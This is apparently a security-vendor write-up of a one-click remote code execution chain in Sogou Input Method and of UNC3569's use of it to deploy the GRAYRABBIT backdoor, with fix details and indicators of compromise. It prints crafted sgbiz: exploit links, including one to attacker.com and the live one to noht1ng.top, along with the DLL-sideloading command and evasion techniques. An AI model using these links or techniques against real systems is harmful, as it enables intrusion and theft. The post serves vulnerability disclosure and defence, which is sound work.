Key Points
Gen Threat Labs discovered a critical remote code execution vulnerability (CVE-2026-51990) in Sogou Input Method, one of the most widely used Chinese-language input method editors with hundreds of millions of installations.
The vulnerability chains three separate weaknesses into a single, one-click exploit: unvalidated command-line argument injection in the sgbiz: custom protocol handler, unrestricted URL navigation in a CEF-based webview, and a severely outdated, unsandboxed Chromium browser engine.
We observed this vulnerability actively exploited in the wild by the UNC3569 threat group to deploy the GRAYRABBIT backdoor through a crafted link.
The vulnerability was reported to Tencent, who owns and develops Sogou Input Method, and has since been fixed.
Introduction
If you are reading this on a computer in China, there is a good chance you have Sogou Input Method installed. It is one of the most popular Chinese-language input method editors (IMEs) for Windows, with hundreds of millions of users. Like many modern desktop applications, Sogou Input Method ships with its own embedded browser engine, an update mechanism, and a set of custom protocol handlers that let different components talk to each other.
During a routine investigation of a UNC3569 intrusion, we traced the initial access back to something unexpected: the process chain started inside Sogou Input Method. That finding led us down a rabbit hole that ended with a critical remote code execution vulnerability, a single crafted link that could silently open a backdoor on any machine running the software. No user interaction beyond clicking the link was required.
We reported the vulnerability to Tencent, who patched it in a subsequent update. It was assigned CVE-2026-51990.
In this post, we walk through the vulnerability in detail, explain how each piece fits together, and then cover what UNC3569 did with it in the wild.

Figure 1. Overview of the attack chain
The Attack Surface: How Sogou Input Method Talks to Itself
Before diving into the vulnerability itself, it helps to understand the moving pieces. Sogou Input Method is not a single executable. It is a collection of components that communicate through a custom protocol scheme registered on Windows: sgbiz:.
When the user (or a webpage, or any application) opens a URL that starts with sgbiz:, Windows hands it off to biz_helper.exe, the protocol handler. This binary parses the URL, figures out what the caller is asking for, and dispatches the request to the appropriate Sogou component.
A typical sgbiz: URL looks something like this: sgbiz:sg_process?module=sgmyinput.exe¶m=-page=skincenter
The URL path (sg_process, component, td_process) tells biz_helper.exe which handler to use. The query parameters provide the details: which executable to launch, what arguments to pass, what working directory to use, and so on. This is where things go wrong.
Vulnerability 1: Unvalidated Argument Injection in biz_helper.exe
The first link in the chain is the protocol handler itself. When biz_helper.exe receives an sgbiz: URL with the sg_process command, it extracts five parameters from the URL:
- module: the name of the Sogou executable to launch
- param: command-line arguments to pass to that executable
- work_dir: the working directory
- start_mode: how to launch the process (CreateProcessW or ShellExecuteW)
- start_show: the window show state
The module parameter gets a thorough security check. The validation function scans it for forbidden characters (\ / : * ? " < > |) to block path traversal, enforces a MAX_PATH length limit, resolves the name relative to the Sogou installation directory, and then calls GetFileAttributesW to confirm the target file actually exists and is not a directory.

Figure 2. IDA snippet for the path traversal and file checks
This validation exists for a good reason. It is there to block path traversal through the module parameter, which would allow attackers to launch arbitrary executables. But they missed something.
The param parameter, which controls what command-line arguments get passed to the launched executable, receives no validation at all. After being extracted from the URL, it goes through a single URL decode (the mbdup function) and is then passed directly and unmodified as the command-line arguments to whatever executable module points to. No sanitization, no allowlisting, no filtering, nothing.

Figure 3. IDA snippet for the “param” key extraction and the sole “mbdup” filter
This means an attacker can inject arbitrary command-line arguments into any Sogou executable that can be launched through the sg_process handler. And that is exactly what opens the door to the next vulnerability.

Figure 4. IDA snippet for the launch of SGMyInput via either CreateProcessW or ShellExecuteW
Vulnerability 2: Unrestricted URL Navigation in SGMyInput.exe
The attacker's crafted URL targets SGMyInput.exe, the Sogou Input Method configuration application, and passes it a carefully chosen set of arguments:
sgbiz:sg_process?module=sgmyinput.exe¶m=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fattacker.com%252Fexploit.html
After URL decoding, the param value becomes:
-page=skincenter -url=https://attacker.com/exploit.html
The -page parameter determines which UI module SGMyInput.exe initializes. Most page types (fuzzy, confignormal, personcenter, keyset, and so on) create native Win32 configuration dialogs. But one page type is different: skincenter.
The skincenter page is the skin marketplace. Unlike every other page type, it creates a CEF (Chromium Embedded Framework) webview to display the skin store. It is the only code path in SGMyInput.exe that instantiates a browser. This is why the attacker chose skincenter specifically. When the webview is ready, the SkinCenterWebViewEvent::OnWebViewIsReady function checks whether a custom URL was provided through the -url command-line parameter (stored in the wszCustomUrl field of the SkinCenterWebViewEvent object). If one exists, the function copies it and navigates the browser directly to that URL.

Figure 5. IDA snippet for the missing checks on the custom URL, showcasing direct navigation
Under normal circumstances, the webview would load internal Sogou URLs like https://sogoupyskin/, https://page.sogou/, or https://res.sogou/. The code registers these domains and loads HTML content and resources for them. But when a custom URL is present, the function just uses it. There is no scheme check (http, https, file, data, javascript, all are accepted), there is no domain allowlist, there is no validation of any kind.
So, the attacker-controlled URL from the sgbiz: link flows straight from biz_helper.exe through SGMyInput.exe and into a CEF browser that navigates wherever the attacker wants. That would already be a significant vulnerability on its own, but it gets worse.
Vulnerability 3: A Browser Engine from 2020, Running Without a Sandbox
The embedded browser in Sogou Input Method is powered by CEF (Chromium Embedded Framework). The actual rendering happens in a separate process: SGWebRender.exe.
SGWebRender.exe itself is a thin launcher. Its WinMain constructs the path to SGMiniBrowserHelperHost1.0.0.8.dll, loads it via LoadLibraryExW, and resolves the GetBrowserManagerInstance export. This function returns a browser manager singleton, whose Run method triggers the actual CEF initialization inside the DLL.

Figure 6. IDA snippet showcasing the load and call into SGMiniBrowserHelperHost1.0.0.8.dll
The DLL's CefBrowserInit function calls cef_enable_highdpi_support, parses the command line via GetCommandLineW, determines the process type (browser, renderer, or other), and then calls cef_execute_process for sub-processes. For the main browser process, it creates a CefSettings structure and populates it through PopulateCefSettings before calling cef_initialize. The CefApp object's OnBeforeCommandLineProcessing callback then appends additional Chromium command-line switches before the engine starts.
The problem is the CEF version. The libcef.dll bundled with Sogou Input Method identifies itself as CEF 80.1.16 with Chromium 80.0.3987.163. This version dates back to approximately March 2020, making it over six years old and roughly 60 major versions behind the current Chromium stable channel at the time of our analysis.
That alone would be a serious issue. Chromium 80 is missing six years of security patches and is vulnerable to hundreds of known CVEs, including critical V8 engine bugs that allow arbitrary code execution through JavaScript. But the situation is made dramatically worse by the security settings hardcoded inside the DLL.
First, the PopulateCefSettings function explicitly sets no_sandbox to TRUE in the CefSettings structure. This disables the Chromium sandbox entirely. The sandbox is the primary defense-in-depth mechanism that prevents a compromised renderer from accessing the host operating system. Without it, any renderer exploit gains full access to the system with the privileges of the current user.

Figure 7. IDA snippet displaying the disabling of CEF’s sandbox
Then, the ConfigureCefCommandLineSwitches callback (the CefApp's OnBeforeCommandLineProcessing handler) appends a series of switches that strip away even more protections:
- disable-web-security: disables the same-origin policy, allowing any page to read from any origin
- allow-file-access-from-files: lets URLs read other local files
- disable-gpu-shader-disk-cache
- enable-direct-write
- disable-spell-checking
The disable-web-security and allow-file-access-from-files flags are gated behind a bDisableWebSecurity field in the CefApp object. But that flag is hardcoded to 1 by SGWebRender.exe when it initializes the browser manager. It is not a runtime toggle or a configuration option. It is always on.

Figure 8. IDA snippet showing where the bDisableWebSecurity flag is set in SGWebRender.exe

Figure 9. IDA snippet for the bDisableWebSecurity flag extraction in SGMiniBrowserHelperHost
The disable-web-security flag is particularly dangerous. Even without a full browser exploit, disabling the same-origin policy means any page loaded in this webview could make authenticated requests to internal network services, read their responses, and exfiltrate the data. Combined with the lack of a sandbox, this creates an environment where exploitation is as easy as it gets.

Figure 10. IDA snippet showing the conditional that disables web security and allows file access
In short: the attacker can force this ancient, unprotected browser to navigate to any URL they want. All they need is a JavaScript exploit for any Chromium vulnerability published in the last six years.
Putting It All Together
The full exploit chain works like this:
-
The attacker crafts an sgbiz: URL and delivers it to the victim (for example, through a phishing email, a message, or a link on a webpage).
-
When the victim clicks the link, Windows hands it to biz_helper.exe, which parses the sgbiz: URL, validates the module parameter (sgmyinput.exe passes the check because it is a legitimate Sogou executable), and passes the unvalidated param value as command-line arguments.
-
SGMyInput.exe launches with -page=skincenter and -url=https://attacker.com/exploit.html. The skincenter page creates a CEF webview, and the OnWebViewIsReady function navigates the browser to the attacker's URL without any validation.
-
SGWebRender.exe, running Chromium 80 with no sandbox and with same-origin policy disabled, loads the attacker's page. The page contains a JavaScript exploit targeting any known V8 vulnerability from the last six years.
-
Because there is no sandbox, the exploit achieves direct system-level code execution. The attacker can now do anything the current user can do.
The entire chain requires nothing more than a single click on a link.
Observed in the Wild: UNC3569's GRAYRABBIT Backdoor
We did not discover this vulnerability in a lab. We found it during the analysis of an active UNC3569 intrusion.
UNC3569 is a PRC-nexus threat group documented by Google Threat Intelligence that prioritizes operational efficiency, routinely exploiting n-day vulnerabilities in widely used software and maintaining a diverse toolset that includes both custom-developed malware and commercial tools. The group has conducted cyber operations against government, education, technology, and finance sectors worldwide, with a concentration in East and Southeast Asia. Notably, UNC3569 has potential business relationships with i-SOON, a Chinese private contractor company whose internal communications were leaked in early 2024. For a comprehensive analysis of UNC3569's operations, see the Virus Bulletin 2024 paper "Down the GRAYRABBIT Hole: Exposing UNC3569 and Its Modus Operandi" by Google researchers.
In the campaign we observed, the attacker delivered the following URL to victims:
sgbiz:sg_process?module=sgmyinput.exe¶m=-page%3Dskincenter%20-url%3Dhttps%253A%252F%252Fnoht1ng.top%252Ffuckujjbangx.html
The exploit page at noht1ng.top served a JavaScript exploit for CVE-2021-38003, a V8 type confusion vulnerability in JSON.stringify that affects Chrome versions prior to 95.0.4638.69. Since Sogou's bundled Chromium is version 80, this CVE (and dozens of others from the intervening 60+ major versions) works perfectly.

Figure 11. Code snippet showcasing the creation of “the hole”
The exploit used this "hole" value to corrupt V8's internal Map structures through the makeMapOdd function, eventually achieving arbitrary read/write on the heap. From there, it located a WebAssembly instance (which V8 backs with RWX memory), overwrote the executable page with embedded shellcode, and called the WebAssembly export to jump into it.

Figure 12. Code snippet displaying the writing of the shellcode and its execution
The Shellcode: Download and Sideload
The exploit contained embedded x64 position-independent shellcode (921 bytes) that acted as a downloader. The shellcode used a classic call/pop technique to find its own base address, then walked the PEB's InLoadOrderModuleList to locate kernel32.dll by matching a ROR8 hash of each module's name. It resolved LoadLibraryW by export-name hash, loaded Urlmon.dll, and resolved URLDownloadToFileA.

Figure 13. IDA snippet showcasing the hash function
The downloader's role, fetching GRAYRABBIT components from an open directory server hosted on Alibaba Cloud, is functionally reminiscent of RABBITFUR, the proprietary downloader that Google Threat Intelligence has documented as UNC3569's standard mechanism for delivering GRAYRABBIT payloads. In previously observed campaigns, RABBITFUR was deployed as a standalone executable that downloaded a shellcode-wrapped GRAYRABBIT from an open directory server. Here, the same functional pattern (download from open directory, deliver XOR-encoded GRAYRABBIT) is embedded directly within the V8 exploit shellcode rather than packaged as a separate binary, potentially representing an evolution of the delivery mechanism to fit the browser-exploit initial access vector.
The shellcode fetched three files from a staging server at 8.218.50[.]207 (Alibaba Cloud, Hong Kong), consistent with UNC3569's well-documented preference for Alibaba Cloud infrastructure in the Hong Kong and Singapore regions:
- 7z.exe: a legitimate 7-Zip binary, used as a sideloading host
- 7zp.dll: a trojanized DLL loader (internal name: boy.dll)
- p: an encrypted payload blob containing the final-stage RAT
These files were written to C:\Users\Public\Documents\. Crucially, the shellcode saved the trojanized DLL as 7z.dll on disk (not 7zp.dll), placing it alongside the legitimate 7z.exe. It then resolved CreateProcessA from kernel32 and executed the following command with the CREATE_NO_WINDOW (0x08000000) flag:
c:\users\public\documents\7z.exe a c:\users\public\documents\p.7z c:\users\public\documents\p
The archive command itself is irrelevant. Its sole purpose is to launch 7z.exe, which automatically loads 7z.dll from its own directory. Because the trojanized DLL has been placed there under the legitimate DLL's name, it gets sideloaded and takes over execution before 7-Zip ever processes the command line.
The Loader: Anti-Sandbox and Self-Deletion
The trojanized DLL masquerades as a legitimate 7z.dll. All standard 7-Zip exports (CreateDecoder, CreateEncoder, CreateObject, GetHandlerProperty, and so on) are present but point to empty stub functions that simply return. Only one export, GetModuleProp, contains the actual malicious code. When 7z.exe calls GetModuleProp during its initialization, the trojanized DLL springs to life.
API resolution is done entirely by hand, identical to how the shellcode performed it: the loader walks the PEB's InLoadOrderModuleList to find kernel32.dll by computing a ROR8 hash of each module's name.
The loader reads the encrypted payload file from disk into memory, then runs an anti-sandbox gate before decrypting it. The gate works by creating a process snapshot with CreateToolhelp32Snapshot and counting every running process via Process32First / Process32Next. The count is compared against a threshold of 50 (0x32). If the system has 50 or more processes (typical for a real machine), the count is discarded and replaced with zero. If the system has fewer than 50 processes (typical for a sandbox), the actual count is kept.
The DWORD XOR decryption key is then computed from three values: a deterministic floating-point result (a fixed computation that iterates 50,000 times through a sequence of sqrt, multiply, and reciprocal operations, always producing the same integer), the process count gate value, and the hardcoded constant 0x098838B0. These three values are XOR'd together. On a real machine, the gate value is zero and the XOR produces the correct decryption key. In a sandbox, the gate value is non-zero, the XOR produces a wrong key, and the payload decrypts into garbage. The decryption loop then applies this DWORD key to every four bytes of the payload buffer.

Figure 14. IDA snippet showing the floating-point algorithm used in determining part of the XOR key
After decryption, the loader copies the result into an RWX buffer (VirtualAlloc with PAGE_EXECUTE_READWRITE) and executes it through the Windows Thread Pool API (CreateThreadpoolWork, SubmitThreadpoolWork, WaitForThreadpoolWorkCallbacks) instead of the more commonly hooked CreateThread. This helps it avoid behavioral detection rules targeting common thread creation patterns.
Before executing the payload, the loader self-deletes using an NTFS Alternate Data Stream technique. It opens its own file with DELETE access (0x10000) and FILE_SHARE_READ, then calls SetFileInformationByHandle with the FileRenameInfo class (3) to rename the default data stream to a randomly named ADS (for example, :aB3xRt). Next, it sets FileDispositionInfo (class 4) with DeleteFile = TRUE, closes the handle, reopens the file, and sets the disposition again. When all handles close, the file disappears from disk. No DeleteFileW call ever appears in behavioral logs.
The Payload: GRAYRABBIT Backdoor
The encrypted payload blob is structured as a two-stage package: a position-independent shellcode stub (0xC7 bytes) followed by the XOR-encrypted GRAYRABBIT PE. This packaging format, a short decryptor stub prepended to a single-byte XOR-encrypted PE that calls the CoreClientInstall export, is the standard GRAYRABBIT delivery format that Google Threat Intelligence has documented consistently across every UNC3569 campaign since at least 2021.
The stub uses a call/pop technique to locate its own base address, adds 0xBF to find the start of the encrypted data (which lands at file offset 0xC7), and then XOR-decrypts the entire embedded PE (0x42800 bytes) with the single-byte key 0x33. After decryption, the stub navigates the PE's export directory using an RVA-to-file-offset converter (since the PE has not been mapped into virtual memory yet), locates CoreClientInstall as the first export by ordinal, and calls it with the decrypted PE base address as the argument.
The decrypted PE is an x64 variant of GRAYRABBIT, a lightweight C++ backdoor that UNC3569 has used repeatedly over the years as a first-stage implant. The internal module name is core.dll, and the backdoor exports two functions: CoreClientInstall (the reflective loader entry point) and CoreClientStart (the main RAT loop). These export names, together with the C2 protocol structure and beacon format, are the defining identifiers for GRAYRABBIT, as documented by Google Threat Intelligence in the VB2024 paper mentioned above. The x64 variant represents a maturation of the original x86 GRAYRABBIT, with structural differences including a byte-operation-encoded C2 domain and an expanded command set.
CoreClientInstall is a reflective PE loader. It resolves VirtualAlloc from kernel32 (via the same PEB-walk hash technique), allocates RWX memory large enough for the full PE image, and maps the PE into it: copying sections to their virtual addresses, processing base relocations, and resolving imports through ntdll's LdrGetDllHandle and LdrGetProcedureAddress (also resolved by hash). Finally, it sets proper page protections on each section via VirtualProtect, calls DllMain with DLL_PROCESS_ATTACH, and then resolves CoreClientStart by export-name hash and calls it.

Figure 15. IDA snippet displaying the CoreClientInstall function
CoreClientStart begins by decrypting the C2 configuration. The domain mail.uaiubifas[.]top is split across a 16-byte XMM constant and a two-byte string literal "op" that are concatenated at runtime. The port is hardcoded as 0x1BB (443). Communication uses raw TCP sockets (not TLS). Every 0x1000-byte send/receive frame is encrypted with RC4 using the six-byte static key m5b1u3. The RC4 S-box is reinitialized for each frame.
On startup, CoreClientStart iterates through the configured C2 servers, calling gethostbyname to resolve the domain, then connect to establish a TCP connection on port 443. Once connected, it enables TCP keepalive (SIO_KEEPALIVE_VALS with a 10-second interval and 5-second retry) and sets SO_REUSEADDR. If the connection drops, the RAT closes the socket, reinitializes Winsock, and reconnects after a 10-second sleep (Sleep(0x2710)).
A dedicated receive thread runs in a loop, reading up to 0x1000 bytes per frame from the socket, RC4-decrypting each frame, and dispatching incoming messages by their 4-byte type identifier. The binary contains C++ RTTI metadata that reveals the class hierarchy: messages inherit from a base SRMsg class and are dynamically cast to either NormalMsg (command messages) or FileMsg (file transfer messages):
- 0x6D7367FF ("msg" + 0xFF): Command message (NormalMsg), dispatched to the command handler
- 0x66696C65 ("file"): File operation message (FileMsg), dispatched to the file task system

Figure 16. IDA snippet displaying the C2 recv loop for the backdoor
Every frame on the wire is exactly 0x1000 (4096) bytes, zero-padded and RC4-encrypted. A NormalMsg frame contains a 12-byte header: the 4-byte magic, a 4-byte payload length, and a 4-byte command ID, followed by up to 4084 bytes of UTF-8 payload data. A FileMsg frame has a larger 264-byte (0x108) header: the 4-byte magic, a 4-byte payload length, a 1-byte operation code ('s' for start, 'c' for chunk, 'e' for end), and a 255-byte null-terminated file path, followed by up to 3832 bytes of file data. The operation codes control the file transfer state machine: 's' creates a new transfer entry in an internal task queue and delivers the first data chunk, 'c' appends subsequent chunks, and 'e' marks the transfer as complete (status 2), signaling any waiting thread that the full file is available.
All numbered commands (0 through 9) and the default plugin dispatch are delivered as NormalMsg frames. FileMsg frames are used exclusively for the data transfer channel that delivers file content to or from the implant and are not part of the command dispatch table. The main thread processes the NormalMsg command queue and dispatches based on the command ID:
| Command ID | MSG Type | Details |
|---|---|---|
| 0 | NormalMsg | Execute a process silently (CreateProcessW with the payload as a command line) |
| 1 | NormalMsg | Start an interactive reverse shell (CreateProcessA "cmd" with piped stdin/stdout/stderr) |
| 2 | NormalMsg | No-op / reserved |
| 3 | NormalMsg | Write data to the interactive shell's stdin pipe (requires an active shell from cmd 1) |
| 4 | NormalMsg | Close the interactive shell and terminate its process |
| 5 | NormalMsg | Load a plugin module from the C2 (see below) |
| 6 | NormalMsg | Collect and send system information |
| 7 | NormalMsg | Self-terminate (unload all plugins, then TerminateProcess on the current process) |
| 8 | NormalMsg | No-op / file request acknowledgment (also sent by the client to request a file) |
| 9 | NormalMsg | Upload a local file to the C2 (reads the file path from the payload) |
| default | NormalMsg | Dispatch to loaded plugin modules via their vtable handlers |
Command 5 is the plugin loader, and its behavior depends on whether the requested module has already been downloaded. The payload contains a file path string (UTF-8). When the command arrives, the handler first looks up this path in an internal task queue that tracks all ongoing and completed file transfers. Two outcomes are possible:
-
If the path is NOT found in the task queue (the module has not been downloaded yet), the handler spawns a dedicated download thread. This thread sends a NormalMsg with command ID 8 back to the C2, carrying the same file path as its payload, effectively requesting the C2 to deliver the file. The C2 responds with a sequence of FileMsg frames: an 's' frame to create the transfer entry and deliver the first chunk, zero or more 'c' frames with subsequent chunks, and a final 'e' frame that marks the transfer as complete (setting an internal status field to 2). The download thread polls the task queue in a loop, sleeping approximately two seconds between checks, until it detects that the entry's status has reached 2. At that point, it proceeds to the reflective loading stage.
-
If the path IS found with status 2 (the module was already downloaded in a previous command), the handler skips the download entirely and proceeds directly to reflective loading.
The reflective loading stage maps the downloaded PE into memory using the same infrastructure as CoreClientInstall: it resolves VirtualAlloc from kernel32 via PEB-walk hashing, allocates executable memory, maps sections to their virtual addresses, processes relocations, resolves imports, and calls the entry point with DLL_PROCESS_ATTACH. A designated export is then resolved by hash and invoked. Each loaded module is tracked in a linked list, and unrecognized command IDs (the default case in the dispatch table) are forwarded to these modules via vtable calls, allowing the C2 operator to extend GRAYRABBIT's capabilities at runtime without replacing the core implant.

Figure 17. IDA snippet showcasing the logic for command ID 5
The system information beacon (command 6) collects the machine's IPv4 address via GetAdaptersAddresses (filtering for operational Ethernet or Wi-Fi adapters with a gateway), the hostname via gethostname, the username via GetUserNameA, and the current process name and PID via GetModuleFileNameA and GetProcessId. The result is formatted as <ip_address>+<hostname>+<username>+<exename>:<pid> and sent to the C2 upon successful connection.
Disclosure Timeline and Fix
-
April 9, 2026: Vulnerability reported to Tencent (security@tencent.com) with full technical report and 90-day coordinated disclosure deadline per ISO/IEC 29147:2018
-
April 10, 2026: Tencent acknowledges receipt and begins internal assessment
-
April 21, 2026: Tencent confirms the fix is complete and deployed to all users via automatic update (version 16.3.0.3498)
-
May 4, 2026: CVE ID requested through MITRE
-
July 10, 2026: MITRE assigns CVE-2026-51990
Credit where it is due: a 12-day turnaround from report to deployed patch is genuinely fast, and we commend the Sogou engineering team for the speed of their response. In their response, Tencent characterized the vulnerability's impact as limited, noting that the exploitation chain is "relatively complex" and that it requires "social engineering tactics to induce the user to actively authorize the browser's pop-up prompt." Their response also called on "all platform providers to further strengthen the identification and interception of illicit links". While the update blocks the exploit path we observed, the underlying browser component remains outdated, continues to run without sandboxing, and still has important browser security controls disabled. We believe these components warrant further hardening.
We recommend that all Sogou Input Method users update to the latest version as soon as possible.
What was Fixed
The entire fix lives in biz_helper.exe, at the protocol handler level. The handler now identifies URL-bearing switches by checking the switch name against a set of known URL parameters (specifically -url and -firsturl, the two switches that SGMyInput.exe uses to accept custom navigation URLs). For each URL found, it calls InternetCrackUrlW to parse the URL structure, immediately rejects anything that is not HTTPS (blocking http://, ftp://, data://, javascript://, and every other scheme), extracts the hostname, lowercases it, and checks it against a suffix-matching allowlist containing four entries: sogou.com, qq.com, woa.com, sogou.
The suffix matching means sogou.com matches anything.sogou.com, skins.sogou.com, and so on, but does not match attacker-sogou.com (the comparison is performed right-to-left against ".sogou.com" with a dot prepended to each allowlist entry).
Notably, the CEF configuration and the version of libcef itself were not changed. In the patched SGWebRender.exe and SGMiniBrowserHelperHost DLL, CefSettings.no_sandbox is still set to 1, the bDisableWebSecurity flag is still hardcoded to 1, and the ConfigureCefCommandLineSwitches callback still appends disable-web-security, allow-file-access-from-files, and the other insecure flags. The embedded browser component remains sandboxless and security-stripped. It just can no longer be reached through the external protocol handler with an attacker-controlled URL, because the input validation in biz_helper.exe now blocks this attack at the front door.
At the time of writing this, additional checks were added to biz_helper, such as browser-context module argument whitelist and a dangerous param argument blocklist. However, CEF configuration and version still remain unchanged.
Indicators of Compromise
File hashes (SHA256)
-
29c7ee41d0cc9e07d981e451df56d0c3d37c41ac4ec10c7b516cc033ee397a63 - 7zp.dll (trojanized DLL loader, internal name: boy.dll)
-
749160a2f20f82744026719cf72e483595c6aad718efa74d675a98662e02422e - p (encrypted PE loader shellcode)
-
D7a3c7eb94edc0e020f74c678743d71d61e944634aade4a67a96c3589e828b3a - GRAYRABBIT backdoor (internal name: core.dll)
Network indicators
-
mail.uaiubifas[.]top - GRAYRABBIT C2 domain (port 443, raw TCP, RC4-encrypted)
-
noht1ng[.]top - Exploit page hosting domain
-
8.218.50[.]207 - Staging server (Alibaba Cloud, Hong Kong)
